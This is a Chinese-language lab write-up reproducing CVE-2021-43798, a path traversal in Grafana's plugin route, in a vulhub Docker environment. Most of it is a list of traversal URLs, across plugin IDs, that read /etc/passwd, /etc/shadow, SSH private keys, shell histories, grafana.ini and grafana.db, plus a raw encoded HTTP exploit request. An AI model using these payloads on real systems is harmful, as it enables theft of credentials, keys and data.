漏洞描述
Grafana 是一个用于监控和可观察性的开源平台。Grafana 版本 8.0.0-beta1 到 8.3.0(补丁版本除外)容易受到目录遍历,允许访问本地文件。易受攻击的 URL 路径是:<grafana_host_url>/public/plugins//,其中是任何已安装插件的插件 ID。Grafana Cloud 在任何时候都不会受到攻击。建议用户升级到补丁版本 8.0.7、8.1.8、8.2.7 或 8.3.1。GitHub 安全公告包含有关易受攻击的 URL 路径、缓解措施和披露时间表的更多信息。
漏洞复现
漏洞环境
-
使用vulhub进行环境搭建
-
进入靶场
-
cd vulhub/grafana/CVE-2021-43798
-
开启靶场
-
docker-compose up -d
-
访问靶场
-
youip:3000
登入账号密码
- admin
- admin
抓一个登入后的包
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../conf/defaults.ini
/public/plugins/zipkin/../../../../../../../../../../../etc/grafana/grafana.ini
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/shadow
/public/plugins/zipkin/../../../../../../../../../../../home/grafana/.bash_history
/public/plugins/zipkin/../../../../../../../../../../../home/grafana/.ssh/id_rsa
/public/plugins/zipkin/../../../../../../../../../../../root/.bash_history
/public/plugins/zipkin/../../../../../../../../../../../root/.ssh/id_rsa
/public/plugins/zipkin/../../../../../../../../../../../usr/local/etc/grafana/grafana.ini
/public/plugins/zipkin/../../../../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/zipkin/../../../../../../../../../../../proc/net/fib_trie
/public/plugins/zipkin/../../../../../../../../../../../proc/net/tcp
/public/plugins/zipkin/../../../../../../../../../../../proc/self/cmdline
插入payload
GET /public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: 192.168.198.129:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.198.129:3000/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: grafana_session=f26ba111f3987f678270612205669f54
Connection: close